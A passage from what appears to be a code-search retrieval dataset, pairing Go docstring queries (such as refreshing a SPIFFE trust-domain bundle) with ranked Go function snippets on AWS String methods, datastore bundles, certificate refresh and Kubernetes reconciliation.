ReloadTablesOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "3cc64037e831dc747b21f738c72394ea", "score": "0.6892793", "text": "func (a Articles) String() string {\n\tja, _ := json.Marshal(a)\n\treturn string(ja)\n}", "title": "" }, { "docid": "ccb9cfe7096e9780aacc00ad49b755db", "score": "0.68885386", "text": "func (self *cat) String() string {\n\ts, _ := json.Marshal(self)\n\tvar pretty bytes.Buffer\n\tjson.Indent(&pretty, s, \"\", \" \")\n\treturn string(pretty.Bytes())\n}", "title": "" }, { "docid": "f93d8a32a6f01770a9e1a9237eee3537", "score": "0.6888019", "text": "func (s StartCelebrityRecognitionOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "3aad9005760fdaf03c048b7b9e45b6f4", "score": "0.68866765", "text": "func (s CreateFlowOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "50c9158ef84c35ab98485c1222f83efc", "score": "0.6886227", "text": "func (o *Workplanconstraintmessage) String() string {\n \n o.Arguments = []Workplanvalidationmessageargument{{}} \n\n j, _ := json.Marshal(o)\n str, _ := strconv.Unquote(strings.Replace(strconv.Quote(string(j)), `\\\\u`, `\\u`, -1))\n\n return str\n}", "title": "" }, { "docid": "99464edfeb75b0e760e5aad8006d8d25", "score": "0.6885683", "text": "func (o *Outcomepercentilecondition) String() string {\n \n \n \n\n j, _ := json.Marshal(o)\n str, _ := strconv.Unquote(strings.Replace(strconv.Quote(string(j)), `\\\\u`, `\\u`, -1))\n\n return str\n}", "title": "" }, { "docid": "c50750ae8ca4ac8cad54efbe03fcd467", "score": "0.68851185", "text": "func (s PathToObjectIdentifiers) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "f4d5ca267242dbb34de825e8f61f6af3", "score": "0.6883426", "text": "func (s CreateBGPPeerOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "7fe286cc2dc72e22ac80cd923dc22541", "score": "0.6881843", "text": "func (s IDOnly) String() string {\n\tres := make([]string, 1)\n\tres[0] = \"ID: \" + reform.Inspect(s.ID, true)\n\treturn strings.Join(res, \", \")\n}", "title": "" }, { "docid": "7fe286cc2dc72e22ac80cd923dc22541", "score": "0.6881843", "text": "func (s IDOnly) String() string {\n\tres := make([]string, 1)\n\tres[0] = \"ID: \" + reform.Inspect(s.ID, true)\n\treturn strings.Join(res, \", \")\n}", "title": "" }, { "docid": "da52b4d08629a4054eacbc7dec399415", "score": "0.68807954", "text": "func (o *Createsecuresession) String() string {\n \n \n \n \n\n j, _ := json.Marshal(o)\n str, _ := strconv.Unquote(strings.Replace(strconv.Quote(string(j)), `\\\\u`, `\\u`, -1))\n\n return str\n}", "title": "" }, { "docid": "99e04df764f43b854ca8bc8c19b313df", "score": "0.6880362", "text": "func (s *Session) String() string {\n\treturn fmt.Sprintf(s.GetStringRepresentation())\n}", "title": "" }, { "docid": "0ff975a5d54856496d1fea213a63ed2a", "score": "0.6879339", "text": "func (s DescribeCanariesOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "0ff975a5d54856496d1fea213a63ed2a", "score": "0.6879339", "text": "func (s DescribeCanariesOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "18969c4dd06de4391c90b6cef495cc71", "score": "0.6877248", "text": "func (o *Evaluationquestiongroupscore) String() string {\n\tj, _ := json.Marshal(o)\n\tstr, _ := strconv.Unquote(strings.Replace(strconv.Quote(string(j)), `\\\\u`, `\\u`, -1))\n\n\treturn str\n}", "title": "" }, { "docid": "328d864c8b9c74ecafe47e27d4ad016f", "score": "0.68766147", "text": "func (s CreateModelOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "04b2192c69c22d2929f11f3d49c7c8c5", "score": "0.6875457", "text": "func (s StartFlywheelIterationOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "cd1dd0bbea4ed6554dfbf9632ce99a1c", "score": "0.6874318", "text": "func (r Result) String() string {\n\tjr, _ := json.Marshal(r)\n\treturn string(jr)\n}", "title": "" }, { "docid": "cd1dd0bbea4ed6554dfbf9632ce99a1c", "score": "0.6874318", "text": "func (r Result) String() string {\n\tjr, _ := json.Marshal(r)\n\treturn string(jr)\n}", "title": "" }, { "docid": "38167540dad3daaaa2851aa7c2116d55", "score": "0.6871602", "text": "func (s CreateCodeRepositoryOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "daf9c1a4f5be9be430167b4424f99958", "score": "0.6871366", "text": "func (s CreateModelVersionOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "0ee975d7279a386d0e5229d511086f00", "score": "0.6870403", "text": "func (s GetDatabaseOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" } ]
eb163896ac8f26d4f37ebcf5e4a94504
RefreshBundleFor refreshes the trust domain bundle for the given trust domain. If the trust domain is not managed by the manager, false is returned.
[ { "docid": "cf2f125f529a495ca64c23c45649e6a8", "score": "0.7709516", "text": "func (m *Manager) RefreshBundleFor(ctx context.Context, td spiffeid.TrustDomain) (bool, error) {\n\tif err := m.refreshConfigs(ctx); err != nil {\n\t\tm.log.WithError(err).Error(\"Failed to reload configs\")\n\t}\n\n\tm.updatersMtx.RLock()\n\tupdater, ok := m.updaters[td]\n\tm.updatersMtx.RUnlock()\n\n\tif !ok {\n\t\treturn false, nil\n\t}\n\n\t_, _, err := updater.UpdateBundle(ctx)\n\treturn true, err\n}", "title": "" } ]
[ { "docid": "303ad9b872c9c61016f428b625586554", "score": "0.5234686", "text": "func (x *x509source) GetX509BundleForTrustDomain(_ spiffeid.TrustDomain) (*x509bundle.Bundle, error) {\n\tx.lock.RLock()\n\tdefer x.lock.RUnlock()\n\treturn x.trustAnchors, nil\n}", "title": "" }, { "docid": "fcb6aa929377aa419d67aabf8a67d205", "score": "0.49266884", "text": "func (s *DataStore) FetchBundle(ctx context.Context, req *datastore.FetchBundleRequest) (*datastore.FetchBundleResponse, error) {\n\ts.mu.Lock()\n\tdefer s.mu.Unlock()\n\n\tbundle, ok := s.bundles[req.TrustDomainId]\n\tif !ok {\n\t\treturn &datastore.FetchBundleResponse{}, nil\n\t}\n\n\treturn &datastore.FetchBundleResponse{\n\t\tBundle: cloneBundle(bundle),\n\t}, nil\n}", "title": "" }, { "docid": "f6f268a5addf0b47e93547eff121a216", "score": "0.4863767", "text": "func (t Bundle) replaceTrustDomains(principal, trustDomainFromPrincipal string) []string {\n\tprincipalsForAliases := []string{}\n\tfor _, td := range t.TrustDomains {\n\t\t// If the trust domain has a prefix * (e.g. *local from *local/ns/foo/ns/bar), keep the principal\n\t\t// as-is for the matched trust domain. For others, replace the trust domain with the new trust domain\n\t\t// or alias.\n\t\tvar newPrincipal string\n\t\tif suffixMatch(td, trustDomainFromPrincipal) {\n\t\t\tnewPrincipal = principal\n\t\t} else {\n\t\t\tnewPrincipal = replaceTrustDomainInPrincipal(td, principal)\n\t\t}\n\t\t// Check to make sure we don't generate duplicated principals. This happens when trust domain\n\t\t// has a * prefix. For example, \"*-td\" can match with \"old-td\" and \"new-td\", but we only want\n\t\t// to keep the principal as-is in the generated config, .i.e. *-td.\n\t\tif !isKeyInList(newPrincipal, principalsForAliases) {\n\t\t\tprincipalsForAliases = append(principalsForAliases, newPrincipal)\n\t\t}\n\t}\n\treturn principalsForAliases\n}", "title": "" }, { "docid": "3ec38d2acf1bf298b0068e9020ac4e26", "score": "0.46853137", "text": "func (s *DataStore) UpdateBundle(ctx context.Context, req *datastore.UpdateBundleRequest) (*datastore.UpdateBundleResponse, error) {\n\ts.mu.Lock()\n\tdefer s.mu.Unlock()\n\n\tbundle := req.Bundle\n\n\tif _, ok := s.bundles[bundle.TrustDomainId]; !ok {\n\t\treturn nil, ErrNoSuchBundle\n\t}\n\n\ts.bundles[bundle.TrustDomainId] = cloneBundle(bundle)\n\n\treturn &datastore.UpdateBundleResponse{\n\t\tBundle: cloneBundle(bundle),\n\t}, nil\n}", "title": "" }, { "docid": "491014eba3d91190e3da43b8a644a884", "score": "0.4626397", "text": "func (c *defaultCA) LoadOrStoreTrustBundle() error {\n\tbundle, err := c.validateAndBuildTrustBundle()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tc.bundle = bundle\n\treturn nil\n}", "title": "" }, { "docid": "e69fa0c72603c0a47b932bd18475a710", "score": "0.4517002", "text": "func (s *DataStore) AppendBundle(ctx context.Context, req *datastore.AppendBundleRequest) (*datastore.AppendBundleResponse, error) {\n\ts.mu.Lock()\n\tdefer s.mu.Unlock()\n\n\tbundle := req.Bundle\n\n\tif existingBundle, ok := s.bundles[bundle.TrustDomainId]; ok {\n\t\tbundle, _ = bundleutil.MergeBundles(existingBundle, bundle)\n\t}\n\n\ts.bundles[bundle.TrustDomainId] = cloneBundle(bundle)\n\n\treturn &datastore.AppendBundleResponse{\n\t\tBundle: cloneBundle(bundle),\n\t}, nil\n}", "title": "" }, { "docid": "7d561a3a46952abc0a8936054129b5ff", "score": "0.45118165", "text": "func (o GetDomainsDomainOutput) Verified() pulumi.BoolOutput {\n\treturn o.ApplyT(func(v GetDomainsDomain) bool { return v.Verified }).(pulumi.BoolOutput)\n}", "title": "" }, { "docid": "9dea3a070323009a75df7291a2323772", "score": "0.44326648", "text": "func (t Bundle) ReplaceTrustDomainAliases(principals []string) []string {\n\tprincipalsIncludingAliases := []string{}\n\tfor _, principal := range principals {\n\t\tisTrustDomainBeingEnforced := isTrustDomainBeingEnforced(principal)\n\t\t// Return the existing principals if the policy doesn't care about the trust domain.\n\t\tif !isTrustDomainBeingEnforced {\n\t\t\tprincipalsIncludingAliases = append(principalsIncludingAliases, principal)\n\t\t\tcontinue\n\t\t}\n\t\ttrustDomainFromPrincipal, err := getTrustDomainFromSpiffeIdentity(principal)\n\t\tif err != nil {\n\t\t\tauthzLog.Errorf(\"unexpected incorrect Spiffe format: %s\", principal)\n\t\t\tprincipalsIncludingAliases = append(principalsIncludingAliases, principal)\n\t\t\tcontinue\n\t\t}\n\t\t// Only generate configuration if the extracted trust domain from the policy is part of the trust domain list,\n\t\t// or if the extracted/existing trust domain is \"cluster.local\", which is a pointer to the local trust domain\n\t\t// and its aliases.\n\t\tif stringMatch(trustDomainFromPrincipal, t.TrustDomains) || trustDomainFromPrincipal == constants.DefaultKubernetesDomain {\n\t\t\t// Generate configuration for trust domain and trust domain aliases.\n\t\t\tprincipalsIncludingAliases = append(principalsIncludingAliases, t.replaceTrustDomains(principal, trustDomainFromPrincipal)...)\n\t\t} else {\n\t\t\tauthzLog.Warnf(\"Trust domain %s from principal %s does not match the current trust \"+\n\t\t\t\t\"domain or its aliases\", trustDomainFromPrincipal, principal)\n\t\t\t// If the trust domain from the existing doesn't match with the new trust domain aliases or \"cluster.local\",\n\t\t\t// keep the policy as it is.\n\t\t\tprincipalsIncludingAliases = append(principalsIncludingAliases, principal)\n\t\t}\n\t}\n\treturn principalsIncludingAliases\n}", "title": "" }, { "docid": "ed489c2f752295ea6d80ef18cf056a7c", "score": "0.4379088", "text": "func RefreshCerts(config *Config) (ok bool) {\n\tok = true\n\tfor _, domain := range config.Domains {\n\t\tallDomains := append([]string{domain.Name}, domain.Subdomains...)\n\t\t_, err := callCertbot(\n\t\t\tconfig.Server.Email, allDomains, config.Server.Dry_Run)\n\t\tif err != nil {\n\t\t\tok = false\n\t\t\tfmt.Errorf(\"error refreshing certs for domain %v: %v\",\n\t\t\t\tdomain, err)\n\t\t}\n\t}\n\treturn ok\n}", "title": "" }, { "docid": "d68cfedd968d760bb5de26151fcd2e13", "score": "0.43210715", "text": "func (atbc *AdditionalTrustBundleConfig) Load(f asset.FileFetcher) (bool, error) {\n\treturn false, nil\n}", "title": "" }, { "docid": "c9d93c246a0ec282fd5550194b887422", "score": "0.4214114", "text": "func (h *Handler) getBundle(ctx context.Context, trustDomainId string) (*common.Bundle, error) {\n\tds := h.c.Catalog.DataStores()[0]\n\n\tresp, err := ds.FetchBundle(ctx, &datastore.FetchBundleRequest{\n\t\tTrustDomainId: trustDomainId,\n\t})\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"get bundle from datastore: %v\", err)\n\t}\n\tif resp.Bundle == nil {\n\t\treturn nil, errors.New(\"bundle not found\")\n\t}\n\treturn resp.Bundle, nil\n}", "title": "" }, { "docid": "a37cad42866a1bf7f6b5c68355918fbe", "score": "0.41751873", "text": "func (o LookupDistributionResultOutput) AbleToUpdateBundle() pulumi.BoolPtrOutput {\n\treturn o.ApplyT(func(v LookupDistributionResult) *bool { return v.AbleToUpdateBundle }).(pulumi.BoolPtrOutput)\n}", "title": "" }, { "docid": "6344118996aa5837c86368cdb968f79e", "score": "0.41700307", "text": "func (cm CM) TrustDomain() *TrustDomainResource {\n\treturn &cm.trustDomain\n}", "title": "" }, { "docid": "c5f3a5aa08f9c6402f0693b8d1898c86", "score": "0.41129443", "text": "func (op *ReconfigureTrustOperation) Poll(ctx context.Context, opts ...gax.CallOption) (*managedidentitiespb.Domain, error) {\n\tvar resp managedidentitiespb.Domain\n\tif err := op.lro.Poll(ctx, &resp, opts...); err != nil {\n\t\treturn nil, err\n\t}\n\tif !op.Done() {\n\t\treturn nil, nil\n\t}\n\treturn &resp, nil\n}", "title": "" }, { "docid": "f31d2dc4ea0233858757bfbb2fd259c1", "score": "0.40921178", "text": "func (c *Client) UpsertTrustedRootBundle(ctx context.Context, bundle workload.TrustedRootBundle) error {\n\tvar header metadata.MD\n\t_, err := c.Client.UpsertTrustedRootBundle(ctx, bundleToGRPC(&bundle), grpc.Header(&header))\n\tif err != nil {\n\t\terr = trail.FromGRPC(err, header)\n\t\treturn trace.Wrap(err)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "4224d02f3c24643166b8f5876a5b7898", "score": "0.40818304", "text": "func (m *WindowsUniversalAppX) SetIsBundle(value *bool)() {\n err := m.GetBackingStore().Set(\"isBundle\", value)\n if err != nil {\n panic(err)\n }\n}", "title": "" }, { "docid": "67ff0683fe140196ca2d4c6c872e35d6", "score": "0.40707138", "text": "func (p *Porter) IsBundleUpToDate(ctx context.Context, opts BundleDefinitionOptions) (bool, error) {\n\tctx, span := tracing.StartSpan(ctx)\n\tdefer span.EndSpan()\n\n\tspan.Debugf(\"Checking if the bundle is up-to-date...\")\n\n\t// This is a prefix for any message that explains why the bundle is out-of-date\n\tconst rebuildMessagePrefix = \"Bundle is out-of-date and must be rebuilt\"\n\n\tif opts.File == \"\" {\n\t\tspan.Debugf(\"%s because the current bundle was not specified. Please report this as a bug!\", rebuildMessagePrefix)\n\t\treturn false, span.Errorf(\"File is required\")\n\t}\n\tm, err := manifest.LoadManifestFrom(ctx, p.Config, opts.File)\n\tif err != nil {\n\t\terr = fmt.Errorf(\"the current bundle could not be read: %w\", err)\n\t\tspan.Debugf(\"%s: %w\", rebuildMessagePrefix, err)\n\t\treturn false, span.Error(err)\n\t}\n\n\tif exists, _ := p.FileSystem.Exists(opts.CNABFile); exists {\n\t\tbun, err := cnab.LoadBundle(p.Context, opts.CNABFile)\n\t\tif err != nil {\n\t\t\terr = fmt.Errorf(\"the previously built bundle at %s could not be read: %w\", opts.CNABFile, err)\n\t\t\tspan.Debugf(\"%s: %w\", rebuildMessagePrefix, err)\n\t\t\treturn false, span.Error(err)\n\t\t}\n\n\t\t// Check whether invocation images exist in host registry.\n\t\tfor _, invocationImage := range bun.InvocationImages {\n\t\t\t// if the invocationImage is built before using a random string tag,\n\t\t\t// we should rebuild it with the new format\n\t\t\tif strings.HasSuffix(invocationImage.Image, \"-installer\") {\n\t\t\t\tspan.Debugf(\"%s because it uses the old -installer suffixed image name (%s)\", invocationImage.Image)\n\t\t\t\treturn false, nil\n\t\t\t}\n\n\t\t\timgRef, err := cnab.ParseOCIReference(invocationImage.Image)\n\t\t\tif err != nil {\n\t\t\t\terr = fmt.Errorf(\"error parsing %s as an OCI image reference: %w\", invocationImage.Image, err)\n\t\t\t\tspan.Debugf(\"%s: %w\", rebuildMessagePrefix, err)\n\t\t\t\treturn false, span.Error(err)\n\t\t\t}\n\n\t\t\t_, err = p.Registry.GetCachedImage(ctx, imgRef)\n\t\t\tif err != nil {\n\t\t\t\tif errors.Is(err, cnabtooci.ErrNotFound{}) {\n\t\t\t\t\tspan.Debugf(\"%s because the invocation image %s doesn't exist in the local image cache\", rebuildMessagePrefix, invocationImage.Image)\n\t\t\t\t\treturn false, nil\n\t\t\t\t}\n\t\t\t\terr = fmt.Errorf(\"an error occurred checking the Docker cache for the invocation image: %w\", err)\n\t\t\t\tspan.Debugf(\"%s: %w\", rebuildMessagePrefix, err)\n\t\t\t\treturn false, span.Error(err)\n\t\t\t}\n\t\t}\n\n\t\toldStamp, err := configadapter.LoadStamp(bun)\n\t\tif err != nil {\n\t\t\terr = fmt.Errorf(\"could not load stamp from %s: %w\", opts.CNABFile, err)\n\t\t\tspan.Debugf(\"%s: %w\", rebuildMessagePrefix)\n\t\t\treturn false, span.Error(err)\n\t\t}\n\n\t\tmixins, err := p.getUsedMixins(ctx, m)\n\t\tif err != nil {\n\t\t\terr = fmt.Errorf(\"an error occurred while listing used mixins: %w\", err)\n\t\t\tspan.Debugf(\"%s: %w\", rebuildMessagePrefix, err)\n\t\t\treturn false, span.Error(err)\n\t\t}\n\n\t\tconverter := configadapter.NewManifestConverter(p.Config, m, nil, mixins)\n\t\tnewDigest, err := converter.DigestManifest()\n\t\tif err != nil {\n\t\t\terr = fmt.Errorf(\"the current manifest digest cannot be calculated: %w\", err)\n\t\t\tspan.Debugf(\"%s: %w\", rebuildMessagePrefix, err)\n\t\t\treturn false, span.Error(err)\n\t\t}\n\n\t\tmanifestChanged := oldStamp.ManifestDigest != newDigest\n\t\tif manifestChanged {\n\t\t\tspan.Debugf(\"%s because the cached bundle is stale\", rebuildMessagePrefix)\n\t\t\tif span.IsTracingEnabled() {\n\t\t\t\tpreviousStampB, _ := json.Marshal(oldStamp)\n\t\t\t\tcurrentStamp, _ := converter.GenerateStamp(ctx)\n\t\t\t\tcurrentStampB, _ := json.Marshal(currentStamp)\n\t\t\t\tspan.SetAttributes(\n\t\t\t\t\tattribute.String(\"previous-stamp\", string(previousStampB)),\n\t\t\t\t\tattribute.String(\"current-stamp\", string(currentStampB)),\n\t\t\t\t)\n\t\t\t}\n\t\t\treturn false, nil\n\t\t}\n\n\t\tspan.Debugf(\"Bundle is up-to-date!\")\n\t\treturn true, nil\n\t}\n\n\tspan.Debugf(\"%s because a previously built bundle was not found\", rebuildMessagePrefix)\n\treturn false, nil\n}", "title": "" }, { "docid": "92194027d7499bf7fb058ba3d624d8ec", "score": "0.40676793", "text": "func (wo *stubWorkloadService) FetchFederatedBundle(ctx context.Context, request pb.FetchFederatedBundleRequest) (response pb.FetchFederatedBundleResponse) {\n\treturn response\n}", "title": "" }, { "docid": "154c47b0924f93bd2afbd77b5594aed9", "score": "0.4037955", "text": "func (s *Bundle) Upsert(b *internal.Bundle) (bool, error) {\n\tnv, err := s.nameVersionFromBundle(b)\n\tif err != nil {\n\t\treturn false, err\n\t}\n\n\tdso, err := s.encodeDMToDSO(b)\n\tif err != nil {\n\t\treturn false, err\n\t}\n\n\t// TODO: switch to transaction wrapping writes to both spaces\n\tidSpaceResp, err := s.kv.Put(context.TODO(), s.idKey(b.ID), dso, clientv3.WithPrevKV())\n\tif err != nil {\n\t\treturn false, errors.Wrap(err, \"while calling database in ID space\")\n\t}\n\n\t// Bundle is immutable so for simplicity we are duplicating write into Name/Version namespace\n\tif _, err := s.kv.Put(context.TODO(), s.nameVersionKey(nv), dso, clientv3.WithPrevKV()); err != nil {\n\t\treturn false, errors.Wrap(err, \"while calling database in NameVersion space\")\n\t}\n\n\tif idSpaceResp.PrevKv != nil {\n\t\treturn true, nil\n\t}\n\n\treturn false, nil\n}", "title": "" }, { "docid": "238d1ff9331474a2195e184f7e8eebe9", "score": "0.4006002", "text": "func (nc *nodeConfig) UpdateTrustedCABundleFile(data map[string]string) error {\n\tdir, fileName := windows.SplitPath(windows.TrustedCABundlePath)\n\treturn nc.Windows.EnsureFileContent([]byte(data[certificates.CABundleKey]), fileName, dir)\n}", "title": "" }, { "docid": "f6497549562914f25d9dd84ea426b175", "score": "0.40052968", "text": "func (r *ReconcileAppBundle) Reconcile(request reconcile.Request) (reconcile.Result, error) {\n\t// Fetch the AppBundle instance\n\tappBundle := &addonsv1alpha1.AppBundle{}\n\terr := r.Get(context.TODO(), request.NamespacedName, appBundle)\n\tif err != nil {\n\t\tif apierrors.IsNotFound(err) {\n\t\t\t// Object not found, return. Created objects are automatically garbage collected.\n\t\t\t// For additional cleanup logic use finalizers.\n\t\t\treturn reconcile.Result{}, nil\n\t\t}\n\t\t// Error reading the object - requeue the request.\n\t\treturn reconcile.Result{}, err\n\t}\n\tlog.Info(\"checking if app bundle is installed\", \"appBundle\", appBundle.Name, \"namespace\", appBundle.Namespace)\n\tif appBundle.Status.Phase != addonsv1alpha1.InstalledAppBundlePhase {\n\t\t// Fetch the CnctCluster Instance\n\t\tvar clusters clusterv1alpha1.CnctClusterList\n\t\terr = r.List(context.Background(), &client.ListOptions{Namespace: appBundle.Namespace}, &clusters)\n\t\tif err != nil {\n\t\t\treturn reconcile.Result{}, err\n\t\t}\n\t\tif len(clusters.Items) == 0 {\n\t\t\tlog.Info(\"cluster not found while attempting to install, retrying\", \"appBundle\", appBundle.Name, \"namespace\", appBundle.Namespace)\n\t\t\treturn reconcile.Result{RequeueAfter: 5 * time.Minute}, nil\n\t\t}\n\t\tcluster := clusters.Items[0]\n\t\tif cluster.Status.Phase == common.RunningClusterPhase {\n\t\t\tlog.Info(\"installing\", \"appBundle\", appBundle.Name, \"cluster\", cluster.Name)\n\n\t\t\t// create clientset for connecting to remote cluster\n\t\t\tvar secret corev1.Secret\n\t\t\terr := r.Get(context.Background(), client.ObjectKey{Name: \"cluster-private-key\", Namespace: cluster.Namespace}, &secret)\n\t\t\tconfigData, ok := secret.Data[corev1.ServiceAccountKubeconfigKey]\n\t\t\tif !ok || len(configData) == 0 {\n\t\t\t\treturn reconcile.Result{}, errors.New(\"no kubeconfig in secret\")\n\t\t\t}\n\t\t\tconfig, err := clientcmd.NewClientConfigFromBytes(configData)\n\t\t\tif err != nil {\n\t\t\t\treturn reconcile.Result{}, errors.Wrap(err, \"could not create new client config from secret\")\n\t\t\t}\n\t\t\trestConfig, err := config.ClientConfig()\n\t\t\tif err != nil {\n\t\t\t\treturn reconcile.Result{}, errors.Wrap(err, \"could not create rest client config\")\n\t\t\t}\n\t\t\tclientset, err := kubernetes.NewForConfig(restConfig)\n\t\t\tif err != nil {\n\t\t\t\treturn reconcile.Result{}, errors.Wrap(err, \"could not create a clientset\")\n\t\t\t}\n\n\t\t\t// install app in remote cluster\n\t\t\terr = r.install(clientset, appBundle)\n\t\t\tif err != nil {\n\t\t\t\treturn reconcile.Result{}, errors.Wrap(err, \"failed to install appBundle in remote cluster\")\n\t\t\t}\n\n\t\t\t// TODO: check if install job completed successfully, set phase to \"Installing\" until completed, or Errored\n\n\t\t\t// update status to installed\n\t\t\tappBundle.Status.Phase = addonsv1alpha1.InstalledAppBundlePhase\n\t\t\terr = r.Client.Update(context.Background(), appBundle)\n\t\t\tif err != nil {\n\t\t\t\treturn reconcile.Result{}, errors.Wrap(err, \"failed to update appBundle status\")\n\t\t\t}\n\t\t\treturn reconcile.Result{}, nil\n\t\t}\n\t\tlog.Info(\"waiting for cluster running status to install app bundle\", \"cluster\", cluster.Name)\n\t\treturn reconcile.Result{RequeueAfter: 10 * time.Second}, nil\n\t}\n\tlog.Info(\"app bundle already installed\", \"appbundle\", appBundle.Name, \"cluster\", appBundle.Namespace)\n\treturn reconcile.Result{}, nil\n}", "title": "" }, { "docid": "2efbcfcb970e65ad8003bd4369cd2009", "score": "0.39590007", "text": "func NewBundle(trustDomain string, trustDomainAliases []string) Bundle {\n\treturn Bundle{\n\t\t// Put the new trust domain to the beginning of the list to avoid changing existing tests.\n\t\tTrustDomains: append([]string{trustDomain}, trustDomainAliases...),\n\t}\n}", "title": "" }, { "docid": "4f5e3744783f9a0385ec25b27080141a", "score": "0.39578763", "text": "func (op *ValidateTrustOperation) Poll(ctx context.Context, opts ...gax.CallOption) (*managedidentitiespb.Domain, error) {\n\tvar resp managedidentitiespb.Domain\n\tif err := op.lro.Poll(ctx, &resp, opts...); err != nil {\n\t\treturn nil, err\n\t}\n\tif !op.Done() {\n\t\treturn nil, nil\n\t}\n\treturn &resp, nil\n}", "title": "" }, { "docid": "e052888c72da6b779a89c02f10dde7cf", "score": "0.39250153", "text": "func (o ServiceVclProductEnablementOutput) DomainInspector() pulumi.BoolPtrOutput {\n\treturn o.ApplyT(func(v ServiceVclProductEnablement) *bool { return v.DomainInspector }).(pulumi.BoolPtrOutput)\n}", "title": "" }, { "docid": "5b78f0f2b0204e432bfccbf24b45836e", "score": "0.3869676", "text": "func Resolves(domain string) bool {\n\tips, err := Resolve(domain)\n\tif err != nil {\n\t\treturn false\n\t}\n\treturn len(ips) > 0\n}", "title": "" }, { "docid": "8675dcddabf9c87943927dea80881305", "score": "0.38670677", "text": "func (wo *stubWorkloadService) FetchSVIDBundle(ctx context.Context, request pb.FetchSVIDBundleRequest) (response pb.FetchSVIDBundleResponse) {\n\treturn response\n}", "title": "" }, { "docid": "bc86c301dbb794460bc79f20dfcedbae", "score": "0.3862128", "text": "func (p *Plugin) updateBundle(ctx context.Context, client kubeClient, namespace, name string) (err error) {\n\treturn retry.RetryOnConflict(retry.DefaultRetry, func() error {\n\t\t// Get the object so we can use the version to resolve conflicts racing\n\t\t// on updates from other servers.\n\t\tobj, err := client.Get(ctx, namespace, name)\n\t\tif err != nil {\n\t\t\treturn status.Errorf(codes.Internal, \"unable to get object %s/%s: %v\", namespace, name, err)\n\t\t}\n\n\t\t// Load bundle data from the IdentityProvider host service. The bundle\n\t\t// has to be loaded after fetching the object so we can properly detect\n\t\t// and correct a race updating the bundle (i.e. read-modify-write\n\t\t// semantics).\n\t\tresp, err := p.identityProvider.FetchX509Identity(ctx, &identityproviderv1.FetchX509IdentityRequest{})\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\t// Build patch with the new bundle data. The resource version MUST be set\n\t\t// to support conflict resolution.\n\t\tpatch, err := client.CreatePatch(ctx, obj, resp)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\t// Patch the bundle, handling version conflicts\n\t\tpatchBytes, err := json.Marshal(patch)\n\t\tif err != nil {\n\t\t\treturn status.Errorf(codes.Internal, \"unable to marshal patch: %v\", err)\n\t\t}\n\t\treturn client.Patch(ctx, namespace, name, patchBytes)\n\t})\n}", "title": "" }, { "docid": "ee250dd8152f51e244e24ff966611e02", "score": "0.3856843", "text": "func (o GoogleBigQueryLinkedServiceResponseOutput) UseSystemTrustStore() pulumi.AnyOutput {\n\treturn o.ApplyT(func(v GoogleBigQueryLinkedServiceResponse) interface{} { return v.UseSystemTrustStore }).(pulumi.AnyOutput)\n}", "title": "" }, { "docid": "860bb526ce1d4e9b0250183afe89aa88", "score": "0.38366708", "text": "func (op *AttachTrustOperation) Poll(ctx context.Context, opts ...gax.CallOption) (*managedidentitiespb.Domain, error) {\n\tvar resp managedidentitiespb.Domain\n\tif err := op.lro.Poll(ctx, &resp, opts...); err != nil {\n\t\treturn nil, err\n\t}\n\tif !op.Done() {\n\t\treturn nil, nil\n\t}\n\treturn &resp, nil\n}", "title": "" }, { "docid": "0e7117a375feadd67f203f29b5f63729", "score": "0.3835558", "text": "func (nc *nodeConfig) ensureTrustedCABundle() error {\n\ttrustedCA := &core.ConfigMap{}\n\tif err := nc.client.Get(context.TODO(), types.NamespacedName{Namespace: nc.wmcoNamespace,\n\t\tName: certificates.ProxyCertsConfigMap}, trustedCA); err != nil {\n\t\treturn fmt.Errorf(\"unable to get ConfigMap %s: %w\", certificates.ProxyCertsConfigMap, err)\n\t}\n\treturn nc.UpdateTrustedCABundleFile(trustedCA.Data)\n}", "title": "" }, { "docid": "7da3227d4b5742e83cc89263b4b4119f", "score": "0.3816855", "text": "func (recv *IconInfo) LoadSymbolicForContextFinish(res *gio.AsyncResult) (*gdkpixbuf.Pixbuf, bool, error) {\n\tc_res := (*C.GAsyncResult)(res.ToC())\n\n\tvar c_was_symbolic C.gboolean\n\n\tvar cThrowableError *C.GError\n\n\tretC := C.gtk_icon_info_load_symbolic_for_context_finish((*C.GtkIconInfo)(recv.native), c_res, &c_was_symbolic, &cThrowableError)\n\tretGo := gdkpixbuf.PixbufNewFromC(unsafe.Pointer(retC))\n\n\tvar goError error = nil\n\tif cThrowableError != nil {\n\t\tgoThrowableError := glib.ErrorNewFromC(unsafe.Pointer(cThrowableError))\n\t\tgoError = goThrowableError\n\n\t\tC.g_error_free(cThrowableError)\n\t}\n\n\twasSymbolic := c_was_symbolic == C.TRUE\n\n\treturn retGo, wasSymbolic, goError\n}", "title": "" }, { "docid": "53885bece0afb589ad1cdccc58ad104c", "score": "0.37687382", "text": "func (c *Client) GetTrustedRootBundle(ctx context.Context, id string) (*workload.TrustedRootBundle, error) {\n\tvar header metadata.MD\n\tre, err := c.Client.GetTrustedRootBundle(ctx, &ID{ID: id}, grpc.Header(&header))\n\tif err != nil {\n\t\terr = trail.FromGRPC(err, header)\n\t\treturn nil, trace.Wrap(err)\n\t}\n\treturn bundleFromGRPC(re), nil\n}", "title": "" }, { "docid": "3ae375373b25b8baea85d0b31867bc25", "score": "0.37606254", "text": "func (s *Bundle) Upsert(b *internal.Bundle) (replaced bool, err error) {\n\tdefer 